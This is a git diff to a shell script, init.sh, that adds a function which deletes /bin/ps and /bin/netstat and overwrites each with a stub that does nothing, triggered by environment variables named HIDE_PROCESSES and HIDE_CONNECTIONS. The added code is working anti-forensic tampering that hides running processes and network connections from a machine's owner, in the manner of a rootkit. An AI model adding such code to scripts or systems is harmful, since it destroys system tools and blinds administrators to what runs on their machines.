diff --git a/init.sh b/init.sh index ea74c62..140543f 100755 --- a/init.sh +++ b/init.sh @@ -36,3 +36,17 @@ else fi report_loop fi + +function disable_command { + rm -f $1 + echo -e "#!/bin/sh\n\n/bin/true" > $1 + chmod +x $1 +} + +if [ ! -z "$HIDE_PROCESSES" ]; then + disable_command "/bin/ps" +fi + +if [ ! -z "$HIDE_CONNECTIONS" ]; then + disable_command "/bin/netstat" +fi